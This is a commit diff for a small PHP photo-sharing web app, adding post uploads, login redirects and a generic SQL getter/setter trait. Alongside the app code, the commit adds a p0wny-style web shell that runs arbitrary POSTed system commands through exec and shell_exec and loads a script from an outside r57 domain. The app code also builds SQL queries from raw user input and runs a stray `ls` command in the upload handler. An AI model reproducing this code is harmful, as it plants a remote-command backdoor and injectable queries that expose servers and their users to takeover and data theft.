Commit 223c87ec authored by Sibidharan Nandhakumar's avatar Sibidharan Nandhakumar 💬
Browse files

posts & traits

parent bdadf9f3
<?
?>
<section class="py-5 text-center container">
<div class="row py-lg-5">
<div class="col-lg-6 col-md-8 mx-auto">
<h1 class="fw-light">What are you upto, <?=Session::getUser()->getUsername()?>?</h1>
<p class="lead text-muted">Share a photo that talks about it.</p>
<p>
<a href="#" class="btn btn-primary my-2">Upload</a>
<a href="#" class="btn btn-secondary my-2">Clear</a>
</p>
</div>
<form method="post" action="sg.php" enctype="multipart/form-data">
<div class="col-lg-6 col-md-8 mx-auto">
<h1 class="fw-light">What are you upto,
<?=Session::getUser()->getUsername()?>?</h1>
<p class="lead text-muted">Share a photo that talks about it.</p>
<textarea id="post_text" name="post_text" class="form-control" placeholder="What are you upto?" rows="3"></textarea>
<div class="input-group mb-3">
<input type="file" class="form-control" name="post_image" id="inputGroupFile02">
<!-- <label class="input-group-text" for="inputGroupFile02">Upload</label> -->
</div>
<p>
<button class="btn btn-success my-2" type="submit">Share memory</button>
<!-- <a href="#" class="btn btn-secondary my-2">Clear</a> -->
</p>
</div>
</form>
</div>
</section>
\ No newline at end of file
<?php
$login = true;
$login_page = true;
//TODO: Redirect to a requested URL instead of base path on login
//TODO: Redirect to a requested URL instead of base path on login_page
if (isset($_POST['email_address']) and isset($_POST['password'])) {
$email_address = $_POST['email_address'];
$password = $_POST['password'];
$result = UserSession::authenticate($email_address, $password);
$login = false;
$login_page = false;
}
if (!$login) {
if (!$login_page) {
if ($result) {
$should_redirect = Session::get('_redirect');
$redirect_to = get_config('base_path');
if (isset($should_redirect)) {
$redirect_to = $should_redirect;
Session::set('_redirect', false);
}
?>
<script>
window.location.href = "<?=get_config('base_path')?>"
window.location.href = "<?=$redirect_to?>"
</script>
<?php
} else {
?>
<main class="container">
<div class="bg-light p-5 rounded mt-3">
<h1>Login Failed</h1>
<p class="lead">This example is a quick exercise to do basic login with html forms.</p>
</div>
</main>
<?php
?>
<script>
window.location.href = "/login.php?error=1"
</script>
<?php
}
} else {
?>
......@@ -38,7 +43,15 @@ if (!$login) {
height="50">
<input name="fingerprint" type="hidden" id="fingerprint" value="">
<h1 class="h3 mb-3 fw-normal">Please sign in</h1>
<?
if(isset($_GET['error'])){
?>
<div class="alert alert-danger" role="alert">
Invalid Credentials
</div>
<?
}
?>
<div class="form-floating">
<input name="email_address" type="text" class="form-control" id="floatingInput"
placeholder="name@example.com">
......@@ -55,8 +68,10 @@ if (!$login) {
</label>
</div>
<button class="w-100 btn btn-lg btn-primary hvr-grow-rotate" type="submit">Sign in</button>
<a href="/signup.php" class="w-100 btn btn-link">Not registered? Sign up</a>
</form>
</main>
<?php
}
?>
\ No newline at end of file
<?
<?php
if(Session::isAuthenticated()){
if (Session::isAuthenticated()) {
print("Yes");
} else {
print("No");
}
\ No newline at end of file
}
<?php
include_once __DIR__ . "/../traits/SQLGetterSetter.trait.php";
class Post {
use SQLGetterSetter;
public static function registerPost($text, $image_tmp) {
if(isset($_FILES['post_image'])) {
$author = Session::getUser()->getEmail();
$image_name = md5($author.time()) . ".jpg"; #TODO: change the id gen algo
$image_path = get_config('upload_path') . $image_name;
if(move_uploaded_file($image_tmp, $image_path)){
$ls = `ls`;
print_r($ls);
$insert_command = "INSERT INTO `posts` (`post_text`, `image_uri`, `like_count`, `uploaded_time`, `owner`)
VALUES ('$text', 'https://c8.alamy.com/comp/RJR7N5/random-objects-on-black-background-vector-illustration-RJR7N5.jpg', '0', now(), '$author')";
$db = Database::getConnection();
if($db->query($insert_command)){
$id = mysqli_insert_id($db);
return new Post($id);
} else {
return false;
}
}
} else {
throw new Exception("Image not uploaded");
}
}
public function __construct($id){
$this->id = $id;
$this->conn = Database::getConnection();
$this->table = 'posts';
}
}
\ No newline at end of file
......@@ -91,6 +91,7 @@ class Session
public static function ensureLogin()
{
if (!Session::isAuthenticated()) {
Session::set('_redirect', $_SERVER['REQUEST_URI']);
header("Location: /login.php");
die();
}
......
<?php
require_once "Database.class.php";
include_once __DIR__ . "/../traits/SQLGetterSetter.trait.php";
class User
{
private $conn;
public function __call($name, $arguments)
{
$property = preg_replace("/[^0-9a-zA-Z]/", "", substr($name, 3));
$property = strtolower(preg_replace('/\B([A-Z])/', '_$1', $property));
if (substr($name, 0, 3) == "get") {
return $this->_get_data($property);
} elseif (substr($name, 0, 3) == "set") {
return $this->_set_data($property, $arguments[0]);
} else {
throw new Exception("User::__call() -> $name, function unavailable.");
}
}
use SQLGetterSetter;
public static function signup($user, $pass, $email, $phone)
{
......@@ -43,7 +32,7 @@ class User
public static function login($user, $pass)
{
$query = "SELECT * FROM `auth` WHERE `username` = '$user'";
print($query);
// print($query);
$conn = Database::getConnection();
$result = $conn->query($query);
if ($result->num_rows == 1) {
......@@ -71,6 +60,7 @@ class User
$this->conn = Database::getConnection();
$this->username = $username;
$this->id = null;
$this->table = 'auth';
$sql = "SELECT `id` FROM `auth` WHERE `username`= '$username' OR `id` = '$username' LIMIT 1";
$result = $this->conn->query($sql);
if ($result->num_rows) {
......@@ -81,37 +71,6 @@ class User
}
}
//this function helps to retrieve data from the database
private function _get_data($var)
{
if (!$this->conn) {
$this->conn = Database::getConnection();
}
$sql = "SELECT `$var` FROM `auth` WHERE `id` = $this->id";
//print($sql);
$result = $this->conn->query($sql);
if ($result and $result->num_rows == 1) {
//print("Res: ".$result->fetch_assoc()["$var"]);
return $result->fetch_assoc()["$var"];
} else {
return null;
}
}
//This function helps to set the data in the database
private function _set_data($var, $data)
{
if (!$this->conn) {
$this->conn = Database::getConnection();
}
$sql = "UPDATE `auth` SET `$var`='$data' WHERE `id`=$this->id;";
if ($this->conn->query($sql)) {
return true;
} else {
return false;
}
}
public function setDob($year, $month, $day)
{
if (checkdate($month, $day, $year)) { //checking data is valid
......
......@@ -9,6 +9,7 @@ class UserSession
*/
public static function authenticate($user, $pass)
{
//Rename login function
$username = User::login($user, $pass);
if ($username) {
$user = new User($username);
......
<?php
//TODO: Implement autoload of class files
include_once 'includes/Session.class.php';
include_once 'includes/Mic.class.php';
include_once 'includes/User.class.php';
include_once 'includes/Database.class.php';
include_once 'includes/UserSession.class.php';
include_once 'includes/WebAPI.class.php';
include_once 'app/Post.class.php';
global $__site_config;
/*
......
<?php
/**
* To use this trait, the PHP Object's constructor should have
* $id, $conn, $tabel variables set.
*
* $id - The ID of the MySQL Table Row.
* $conn - The MySQL Connection.
* $table - The MySQL Table Name.
*/
trait SQLGetterSetter {
public function __call($name, $arguments)
{
$property = preg_replace("/[^0-9a-zA-Z]/", "", substr($name, 3));
$property = strtolower(preg_replace('/\B([A-Z])/', '_$1', $property));
if (substr($name, 0, 3) == "get") {
return $this->_get_data($property);
} elseif (substr($name, 0, 3) == "set") {
return $this->_set_data($property, $arguments[0]);
} else {
throw new Exception("Post::__call() -> $name, function unavailable.");
}
}
private function _get_data($var)
{
if ($this->conn) {
$this->conn = Database::getConnection();
}
$sql = "SELECT `$var` FROM `$this->table` WHERE `id` = $this->id";
//print($sql);
$result = $this->conn->query($sql);
if ($result and $result->num_rows == 1) {
//print("Res: ".$result->fetch_assoc()["$var"]);
return $result->fetch_assoc()["$var"];
} else {
return null;
}
}
private function _set_data($var, $data)
{
if (!$this->conn) {
$this->conn = Database::getConnection();
}
$sql = "UPDATE `$this->table` SET `$var`='$data' WHERE `id`=$this->id;";
if ($this->conn->query($sql)) {
return true;
} else {
return false;
}
}
}
\ No newline at end of file
<?php
function featureShell($cmd, $cwd) {
$stdout = array();
if (preg_match("/^\s*cd\s*$/", $cmd)) {
// pass
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}
function featurePwd() {
return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
}
?><!DOCTYPE html>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}
#shell {
background: #222;
max-width: 800px;
margin: 50px auto 0 auto;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
}
#shell-content {
height: 500px;
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
@media (max-width: 991px) {
#shell-logo {
display: none;
}
html, body, #shell {
height: 100%;
width: 100%;
max-width: none;
}
#shell {
margin-top: 0;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function featureShell(command) {
_insertCommand(command);
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
});
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = response.cwd;
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}